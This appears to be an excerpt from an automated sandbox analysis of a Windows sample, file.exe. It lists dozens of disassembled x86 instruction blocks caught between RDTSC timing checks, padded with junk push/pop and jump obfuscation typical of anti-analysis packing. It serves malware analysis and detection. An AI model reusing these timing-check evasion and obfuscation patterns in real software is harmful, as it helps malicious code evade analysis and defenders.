Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5490329 second address: 5490428 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007F9DB10DC5C6h 0x0000000b jmp 00007F9DB10DC5C5h 0x00000010 popfd 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 xchg eax, ebx 0x00000015 pushad 0x00000016 pushfd 0x00000017 jmp 00007F9DB10DC5BCh 0x0000001c jmp 00007F9DB10DC5C5h 0x00000021 popfd 0x00000022 call 00007F9DB10DC5C0h 0x00000027 pushfd 0x00000028 jmp 00007F9DB10DC5C2h 0x0000002d add esi, 055B6598h 0x00000033 jmp 00007F9DB10DC5BBh 0x00000038 popfd 0x00000039 pop ecx 0x0000003a popad 0x0000003b push eax 0x0000003c jmp 00007F9DB10DC5C6h 0x00000041 xchg eax, ebx 0x00000042 pushad 0x00000043 pushfd 0x00000044 jmp 00007F9DB10DC5BEh 0x00000049 adc eax, 076CE728h 0x0000004f jmp 00007F9DB10DC5BBh 0x00000054 popfd 0x00000055 movzx ecx, dx 0x00000058 popad 0x00000059 push ebx 0x0000005a push eax 0x0000005b push edx 0x0000005c pushad 0x0000005d pushfd 0x0000005e jmp 00007F9DB10DC5C8h 0x00000063 xor esi, 49BBF4B8h 0x00000069 jmp 00007F9DB10DC5BBh 0x0000006e popfd 0x0000006f popad 0x00000070 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5490428 second address: 549044C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, dx 0x00000006 call 00007F9DB0FF9A3Bh 0x0000000b pop esi 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov dword ptr [esp], esi 0x00000012 pushad 0x00000013 mov dx, 2F18h 0x00000017 popad 0x00000018 xchg eax, edi 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 549044C second address: 5490456 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ebx, 7BF98E48h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5490456 second address: 54904AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F9DB0FF9A3Ch 0x00000009 adc al, 00000078h 0x0000000c jmp 00007F9DB0FF9A3Bh 0x00000011 popfd 0x00000012 call 00007F9DB0FF9A48h 0x00000017 pop esi 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b push eax 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F9DB0FF9A47h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54904AB second address: 54904B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54904B1 second address: 54904B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54904B5 second address: 54904F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, edi 0x00000009 jmp 00007F9DB10DC5C7h 0x0000000e mov eax, dword ptr [75C74538h] 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F9DB10DC5C5h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54904F1 second address: 54904F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54904F7 second address: 54904FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54904FB second address: 5490514 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [ebp-08h], eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F9DB0FF9A3Bh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5490514 second address: 5490562 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB10DC5C8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, 2C4BDEB1h 0x0000000e popad 0x0000000f xor eax, ebp 0x00000011 jmp 00007F9DB10DC5BDh 0x00000016 nop 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F9DB10DC5C8h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5490562 second address: 5490568 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5490568 second address: 549058B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB10DC5BEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F9DB10DC5BEh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 549058B second address: 5490655 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F9DB0FF9A41h 0x00000009 jmp 00007F9DB0FF9A3Bh 0x0000000e popfd 0x0000000f mov edi, ecx 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 nop 0x00000015 pushad 0x00000016 mov edi, esi 0x00000018 mov ecx, 7F8C0D43h 0x0000001d popad 0x0000001e lea eax, dword ptr [ebp-10h] 0x00000021 jmp 00007F9DB0FF9A46h 0x00000026 mov dword ptr fs:[00000000h], eax 0x0000002c pushad 0x0000002d mov bl, cl 0x0000002f pushfd 0x00000030 jmp 00007F9DB0FF9A43h 0x00000035 add ah, 0000004Eh 0x00000038 jmp 00007F9DB0FF9A49h 0x0000003d popfd 0x0000003e popad 0x0000003f mov dword ptr [ebp-18h], esp 0x00000042 jmp 00007F9DB0FF9A3Eh 0x00000047 mov eax, dword ptr fs:[00000018h] 0x0000004d jmp 00007F9DB0FF9A40h 0x00000052 mov ecx, dword ptr [eax+00000FDCh] 0x00000058 push eax 0x00000059 push edx 0x0000005a jmp 00007F9DB0FF9A47h 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5490655 second address: 549065B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 549065B second address: 549065F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 549065F second address: 5490663 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5490663 second address: 54906B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test ecx, ecx 0x0000000a pushad 0x0000000b pushad 0x0000000c mov edi, 4BE7066Eh 0x00000011 mov eax, edx 0x00000013 popad 0x00000014 pushfd 0x00000015 jmp 00007F9DB0FF9A3Bh 0x0000001a adc ch, 0000001Eh 0x0000001d jmp 00007F9DB0FF9A49h 0x00000022 popfd 0x00000023 popad 0x00000024 jns 00007F9DB0FF9A69h 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007F9DB0FF9A3Dh 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54906B6 second address: 54906EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 704608E2h 0x00000008 push edx 0x00000009 pop ecx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d add eax, ecx 0x0000000f jmp 00007F9DB10DC5C5h 0x00000014 mov ecx, dword ptr [ebp+08h] 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F9DB10DC5BDh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480191 second address: 5480197 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480197 second address: 54801D8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB10DC5C8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F9DB10DC5C0h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 jmp 00007F9DB10DC5BCh 0x00000018 movzx ecx, bx 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54801D8 second address: 54801DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54801DE second address: 5480224 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F9DB10DC5C0h 0x00000010 sub eax, 37E710B8h 0x00000016 jmp 00007F9DB10DC5BBh 0x0000001b popfd 0x0000001c mov ch, 50h 0x0000001e popad 0x0000001f mov ebp, esp 0x00000021 jmp 00007F9DB10DC5BBh 0x00000026 sub esp, 2Ch 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480224 second address: 5480228 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480228 second address: 548022E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 548022E second address: 5480254 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB0FF9A3Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jmp 00007F9DB0FF9A40h 0x0000000f push eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 mov ax, dx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480254 second address: 548027D instructions: 0x00000000 rdtsc 0x00000002 mov si, di 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 mov di, ECA8h 0x0000000c mov eax, edi 0x0000000e popad 0x0000000f popad 0x00000010 xchg eax, ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F9DB10DC5C6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 548027D second address: 5480283 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480283 second address: 5480287 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480287 second address: 548028B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 548028B second address: 54802AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F9DB10DC5C5h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54802AB second address: 54802B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54802B1 second address: 54802B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54802CF second address: 54802D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54802D3 second address: 54802D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54802D9 second address: 5480316 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, 53h 0x00000005 movzx esi, bx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebx, 00000000h 0x00000010 pushad 0x00000011 mov dx, si 0x00000014 jmp 00007F9DB0FF9A48h 0x00000019 popad 0x0000001a sub edi, edi 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F9DB0FF9A3Ch 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480316 second address: 5480335 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, A534h 0x00000007 call 00007F9DB10DC5BDh 0x0000000c pop eax 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 inc ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480335 second address: 5480339 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480339 second address: 5480351 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB10DC5C4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480351 second address: 5480368 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F9DB0FF9A41h 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480368 second address: 548037A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 test al, al 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c movzx esi, dx 0x0000000f push edi 0x00000010 pop esi 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 548037A second address: 54803A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, 6389h 0x00000007 mov edx, ecx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c je 00007F9DB0FF9B9Bh 0x00000012 pushad 0x00000013 jmp 00007F9DB0FF9A3Eh 0x00000018 mov bx, si 0x0000001b popad 0x0000001c lea ecx, dword ptr [ebp-14h] 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54803A8 second address: 54803AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54803AC second address: 54803B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54803B2 second address: 54803CF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB10DC5C0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [ebp-14h], edi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54803CF second address: 54803D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54803D3 second address: 54803D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54803D9 second address: 54803DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54803DF second address: 54803E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54803E3 second address: 54803E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480408 second address: 5480419 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9DB10DC5BDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480483 second address: 548050F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, 71h 0x00000005 pushfd 0x00000006 jmp 00007F9DB0FF9A3Eh 0x0000000b and ecx, 04985048h 0x00000011 jmp 00007F9DB0FF9A3Bh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a js 00007F9DB0FF9A75h 0x00000020 jmp 00007F9DB0FF9A46h 0x00000025 cmp dword ptr [ebp-14h], edi 0x00000028 jmp 00007F9DB0FF9A40h 0x0000002d jne 00007F9E217979F6h 0x00000033 jmp 00007F9DB0FF9A40h 0x00000038 mov ebx, dword ptr [ebp+08h] 0x0000003b jmp 00007F9DB0FF9A40h 0x00000040 lea eax, dword ptr [ebp-2Ch] 0x00000043 pushad 0x00000044 push eax 0x00000045 push edx 0x00000046 mov ecx, 246ECC13h 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 548050F second address: 54805AC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB10DC5C8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebx, eax 0x0000000b popad 0x0000000c xchg eax, esi 0x0000000d pushad 0x0000000e movzx eax, bx 0x00000011 call 00007F9DB10DC5BFh 0x00000016 pushfd 0x00000017 jmp 00007F9DB10DC5C8h 0x0000001c add ah, 00000028h 0x0000001f jmp 00007F9DB10DC5BBh 0x00000024 popfd 0x00000025 pop esi 0x00000026 popad 0x00000027 push eax 0x00000028 jmp 00007F9DB10DC5C6h 0x0000002d xchg eax, esi 0x0000002e jmp 00007F9DB10DC5C0h 0x00000033 nop 0x00000034 jmp 00007F9DB10DC5C0h 0x00000039 push eax 0x0000003a push eax 0x0000003b push edx 0x0000003c push eax 0x0000003d push edx 0x0000003e push eax 0x0000003f push edx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54805AC second address: 54805B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54805B0 second address: 54805CC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB10DC5C8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54805CC second address: 5480626 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 2965ABF4h 0x00000008 push ebx 0x00000009 pop esi 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e jmp 00007F9DB0FF9A3Fh 0x00000013 xchg eax, ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 mov cx, dx 0x0000001a pushfd 0x0000001b jmp 00007F9DB0FF9A47h 0x00000020 or al, FFFFFFEEh 0x00000023 jmp 00007F9DB0FF9A49h 0x00000028 popfd 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480626 second address: 548066F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F9DB10DC5C7h 0x00000009 sbb esi, 7E15A8FEh 0x0000000f jmp 00007F9DB10DC5C9h 0x00000014 popfd 0x00000015 mov cx, D147h 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c push eax 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 548066F second address: 5480673 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480673 second address: 5480679 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480679 second address: 54806B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F9DB0FF9A47h 0x00000009 xor esi, 0D9B83BEh 0x0000000f jmp 00007F9DB0FF9A49h 0x00000014 popfd 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54806B6 second address: 54806C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54806C4 second address: 54806C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54806C8 second address: 54806CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480726 second address: 548072A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 548072A second address: 548072E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 548072E second address: 5480734 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480734 second address: 548073A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 548073A second address: 548073E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 548073E second address: 5480742 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480742 second address: 5470E1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test esi, esi 0x0000000a pushad 0x0000000b mov ebx, esi 0x0000000d pushfd 0x0000000e jmp 00007F9DB0FF9A44h 0x00000013 xor eax, 6DB82B08h 0x00000019 jmp 00007F9DB0FF9A3Bh 0x0000001e popfd 0x0000001f popad 0x00000020 je 00007F9E21797914h 0x00000026 xor eax, eax 0x00000028 jmp 00007F9DB0FD316Ah 0x0000002d pop esi 0x0000002e pop edi 0x0000002f pop ebx 0x00000030 leave 0x00000031 retn 0004h 0x00000034 nop 0x00000035 cmp eax, 00000000h 0x00000038 setne cl 0x0000003b xor ebx, ebx 0x0000003d test cl, 00000001h 0x00000040 jne 00007F9DB0FF9A37h 0x00000042 jmp 00007F9DB0FF9BABh 0x00000047 call 00007F9DB5FA3AEAh 0x0000004c mov edi, edi 0x0000004e push eax 0x0000004f push edx 0x00000050 push eax 0x00000051 push edx 0x00000052 pushad 0x00000053 popad 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470E1D second address: 5470E21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470E21 second address: 5470E27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470E27 second address: 5470E40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9DB10DC5C5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470E40 second address: 5470EA6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push ecx 0x0000000b call 00007F9DB0FF9A3Fh 0x00000010 pop esi 0x00000011 pop edi 0x00000012 jmp 00007F9DB0FF9A46h 0x00000017 popad 0x00000018 mov dword ptr [esp], ebp 0x0000001b jmp 00007F9DB0FF9A40h 0x00000020 mov ebp, esp 0x00000022 jmp 00007F9DB0FF9A40h 0x00000027 xchg eax, ecx 0x00000028 pushad 0x00000029 pushad 0x0000002a popad 0x0000002b mov eax, edi 0x0000002d popad 0x0000002e push eax 0x0000002f push eax 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470EA6 second address: 5470EAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470EAA second address: 5470EB0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480A82 second address: 5480A9A instructions: 0x00000000 rdtsc 0x00000002 call 00007F9DB10DC5BEh 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c mov cx, bx 0x0000000f rdtsc
